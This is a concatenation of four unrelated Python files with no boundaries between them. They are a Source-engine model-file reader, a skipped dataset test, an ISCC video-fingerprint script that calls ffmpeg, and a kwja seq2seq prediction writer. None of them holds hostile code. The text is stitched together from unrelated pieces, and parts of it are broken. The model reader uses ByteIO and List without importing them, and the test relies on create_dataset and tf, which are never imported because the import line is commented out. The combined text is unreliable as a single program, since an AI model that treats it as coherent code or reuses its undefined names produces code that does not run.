from ....source_shared.base import Base
from .mesh import Mesh
from .eyeball import Eyeball

class Model(Base):
    def __init__(self):
        self.name = ''
        self.type = 0
        self.bounding_radius = 0.0
        self.vertex_count = 0
        self.vertex_offset = 0
        self.tangent_offset = 0
        self.attachment_count = 0
        self.attachment_offset = 0
        self.vertex_data = []
        self.meshes = []  # type: List[Mesh]
        self.eyeballs = []  # type: List[Eyeball]

    @property
    def has_flexes(self):
        return any(len(mesh.flexes) > 0 for mesh in self.meshes)

    @property
    def has_eyebals(self):
        return len(self.eyeballs) > 0

    def read(self, reader: ByteIO):
        entry = reader.tell()
        self.name = reader.read_ascii_string(64)
        if not self.name:
            self.name = "blank"

        self.type = reader.read_uint32()
        self.bounding_radius = reader.read_float()
        mesh_count = reader.read_uint32()
        mesh_offset = reader.read_uint32()
        self.vertex_count = reader.read_uint32()
        self.vertex_offset = reader.read_uint32()
        assert self.vertex_offset % 48 == 0, "Invalid vertex offset"
        self.vertex_offset //= 48
        self.tangent_offset = reader.read_uint32()
        self.attachment_count = reader.read_uint32()
        self.attachment_offset = reader.read_uint32()
        eyeball_count = reader.read_uint32()
        eyeball_offset = reader.read_uint32()
        self.vertex_data = reader.read_fmt('2I')
        reader.skip(8 * 4)
        with reader.save_current_pos():
            reader.seek(entry + eyeball_offset, 0)
            for _ in range(eyeball_count):
                eyeball = Eyeball()
                eyeball.read(reader)
                self.eyeballs.append(eyeball)

            reader.seek(entry + mesh_offset, 0)
            for _ in range(mesh_count):
                mesh = Mesh()
                mesh.read(reader)
                self.meshes.append(mesh)

                if mesh.material_type == 1:
                    mat_id = self.eyeballs[mesh.material_param].material_id = mesh.material_index
                    mdl = self.get_value("MDL")
                    assert mdl
                    self.eyeballs[mesh.material_param].material = mdl.materials[mat_id]


from dxl.learn.test import TestCase

# from dxl.learn.zoo.incident.data import create_dataset, dataset_db

import os
path_db = os.environ['GHOME'] + '/Workspace/IncidentEstimation/data/gamma.db'

import pytest

@pytest.mark.skip(reason="not imp yet!")
class TestDataset(TestCase):
    @pytest.mark.skip("slow")
    def test_load(self):
        dataset = create_dataset(dataset_db, path_db, 5, 32)
        samples = []
        with tf.Session() as sess:
            for i in range(1000):
                samples.append(sess.run(
                    [dataset.hits.data, dataset.first_hit_index.data, dataset.padded_size.data]))
        assert samples[0][0].shape == (32, 5, 4)


# -*- coding: utf-8 -*-
"""Extract and parse MPEG7 Video Signatures. Hash based on MPEG7 FARMES"""
import random
import subprocess
import sys
from os.path import basename, dirname, exists
from statistics import mode
from typing import Tuple
import imageio_ffmpeg
import iscc
from loguru import logger as log
from lxml import etree
from iscc_bench.utils import cd
from iscc_bench.videoid.const import WTA_PERMUTATIONS

WTA_SEED = 10
NSMAP = {
    "a": "urn:mpeg:mpeg7:schema:2001",
    "b": "http://www.w3.org/2001/XMLSchema-instance",
}

def get_frames(file, mc=0) -> Tuple:
    """Get frame signatures.

    :param file: path to video file
    :param mc: filter for frame signatures with 'mc' minimum confidance
    :return: tuple of frame signatures (380 values 0-2)
    """
    frames = []
    root = get_signature(file)
    frame_els = root.xpath("//a:VideoFrame", namespaces=NSMAP)
    for frame_el in frame_els:
        fc = int(frame_el.xpath("./a:FrameConfidence/text()", namespaces=NSMAP)[0])
        if fc >= mc:
            fs = frame_el.xpath("./a:FrameSignature/text()", namespaces=NSMAP)[0]
            frames.append(tuple(int(t) for t in fs.split()))
    log.debug(f"Frames: {len(frames)}")
    return tuple(frames)

def get_signature(file) -> etree.Element:
    """Extract & Cache MPEG7 Signature from video file"""
    crop = get_crop(file)
    log.debug(f"Crop detection: {crop}")
    sigfile = basename(file) + ".xml"
    folder = dirname(file)
    with cd(folder):
        if not exists(sigfile):
            cmd = [
                imageio_ffmpeg.get_ffmpeg_exe(),
                "-i",
                file,
                "-vf",
                f"{crop},signature=format=xml:filename={sigfile}",
                "-f",
                "null",
                "-",
            ]
            subprocess.run(cmd, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
        tree = etree.parse(sigfile)
        root = tree.getroot()
        return root

def get_crop(file) -> str:
    """Detect crop value for video"""
    cmd = [
        imageio_ffmpeg.get_ffmpeg_exe(),
        "-i",
        file,
        "-vf",
        f"cropdetect",
        "-f",
        "null",
        "-",
    ]
    res = subprocess.run(cmd, capture_output=True)
    text = res.stderr.decode(encoding=sys.stdout.encoding)
    crops = [
        line.split()[-1]
        for line in text.splitlines()
        if line.startswith("[Parsed_cropdetect")
    ]
    return mode(crops)

def positional_sig(vec):
    """creates positional signature from vector"""
    return [(i, v) for i, v in enumerate(vec)]

def wta_permutations(seed=WTA_SEED, vl=380, n=256) -> Tuple:
    random.seed(seed)
    perms = []
    while len(perms) < n:
        perm = (random.randint(0, vl - 1), random.randint(0, vl - 1))
        if perm[0] != perm[1]:
            perms.append(perm)
    return tuple(perms)

def wta_hash(vec, hl=64) -> bytes:
    """Calculate hl-bit WTA Hash from vector."""
    vl = len(vec)
    perms = wta_permutations(WTA_SEED, vl, hl)
    # perms = WTA_PERMUTATIONS
    log.debug(f"WTA vec length: {vl}")
    h = []
    assert len(set(vec)) > 1, "Vector for wta_hash needs at least 2 different values."

    def get_neq_vals(idxs):
        vals = vec[idxs[0]], vec[idxs[1]]
        while vals[0] == vals[1]:
            idxs = idxs[0], (idxs[1] + 1) % vl
            vals = vec[idxs[0]], vec[idxs[1]]
        return vals

    for idxs in perms:
        vals = get_neq_vals(idxs)
        h.append(vals.index(max(vals)))
        if len(h) == hl:
            break
    h = bytes([int("".join(map(str, h[i : i + 8])), 2) for i in range(0, len(h), 8)])
    log.debug(f"Hash length {len(h)}")
    return h

def sig_sum(sigs):
    return [sum(col) for col in zip(*sigs)]

def content_id_video(file, partial=False):
    log.debug(f"Processing {basename(file)}")
    sigs = set(get_frames(file))
    log.debug(f"Unique signatures {len(sigs)}")
    hashsum = sig_sum(sigs)
    log.debug(f"HashSum {len(hashsum)}:{hashsum}")
    sh = wta_hash(hashsum, 64)
    log.debug(f"Raw CID-V {len(sh) * 8}:{sh.hex()}")
    if partial:
        content_id_video_digest = iscc.HEAD_CID_V_PCF + sh[:8]
    else:
        content_id_video_digest = iscc.HEAD_CID_V + sh[:8]
    return iscc.encode(content_id_video_digest)

if __name__ == "__main__":
    p1 = "C:/Users/titusz/Code/iscc-experiments/iscc_bench/data/web_video/7_1_Y.flv"
    p2 = "C:/Users/titusz/Code/iscc-experiments/iscc_bench/data/web_video/7_2_Y.flv"
    cidv1 = content_id_video(p1)
    cidv2 = content_id_video(p2)
    print(WTA_SEED, cidv1, cidv2, "- Hamming Distance:", iscc.distance(cidv1, cidv2))
    # pprint(wta_permutations())


import sys
from io import TextIOBase
from pathlib import Path
from typing import Any, List, Optional, Sequence, TextIO, Union

import pytorch_lightning as pl
from pytorch_lightning.callbacks import BasePredictionWriter
from rhoknp import Sentence
from transformers import PreTrainedTokenizerBase

import kwja
from kwja.datamodule.datasets import Seq2SeqDataset, Seq2SeqInferenceDataset
from kwja.datamodule.examples import Seq2SeqExample, Seq2SeqInferenceExample
from kwja.utils.constants import NEW_LINE_TOKEN
from kwja.utils.seq2seq_format import get_sent_from_seq2seq_format

class Seq2SeqModuleWriter(BasePredictionWriter):
    def __init__(self, tokenizer: PreTrainedTokenizerBase, destination: Optional[Union[str, Path]] = None) -> None:
        super().__init__(write_interval="batch")
        if destination is None:
            self.destination: Union[Path, TextIO] = sys.stdout
        else:
            if isinstance(destination, str):
                destination = Path(destination)
            self.destination = destination
            self.destination.parent.mkdir(exist_ok=True, parents=True)
            self.destination.unlink(missing_ok=True)

        self.tokenizer: PreTrainedTokenizerBase = tokenizer

    @staticmethod
    def shape(input_text: str) -> str:
        output_lines: List[str] = []
        for line in input_text.replace("</s>", "EOS\n").replace(NEW_LINE_TOKEN, "\n").split("\n"):
            output_lines.append(line.lstrip().rstrip())
        return "\n".join(output_lines)

    def write_on_batch_end(
        self,
        trainer: "pl.Trainer",
        pl_module: "pl.LightningModule",
        prediction: Any,
        batch_indices: Optional[Sequence[int]],
        batch: Any,
        batch_idx: int,
        dataloader_idx: int,
    ) -> None:
        dataloaders = trainer.predict_dataloaders
        if isinstance(trainer.predict_dataloaders, dict):
            dataloaders = list(trainer.predict_dataloaders.values())
        dataset: Union[Seq2SeqDataset, Seq2SeqInferenceDataset] = dataloaders[dataloader_idx].dataset

        outputs: List[str] = []
        for example_id, seq2seq_predictions in zip(
            prediction["example_ids"].tolist(), prediction["seq2seq_predictions"].tolist()
        ):
            example: Union[Seq2SeqExample, Seq2SeqInferenceExample] = dataset.examples[example_id]
            assert example.sid is not None, "sid is not defined."
            seq_len: int = len(example.src_text)
            if seq_len == 0:
                continue

            decoded: str = self.tokenizer.decode(
                [x for x in seq2seq_predictions if x != self.tokenizer.pad_token_id], skip_special_tokens=False
            )
            seq2seq_format: Sentence = get_sent_from_seq2seq_format(self.shape(decoded))
            seq2seq_format.sid = example.sid
            seq2seq_format.misc_comment = f"kwja:{kwja.__version__}"
            outputs.append(seq2seq_format.to_jumanpp())
        output_string: str = "".join(outputs)
        if isinstance(self.destination, Path):
            with self.destination.open(mode="a") as f:
                f.write(output_string)
        elif isinstance(self.destination, TextIOBase):
            self.destination.write(output_string)

    def write_on_epoch_end(
        self,
        trainer: pl.Trainer,
        pl_module: pl.LightningModule,
        predictions: Sequence[Any],
        batch_indices: Optional[Sequence[Any]] = None,
    ) -> None:
        pass  # pragma: no cover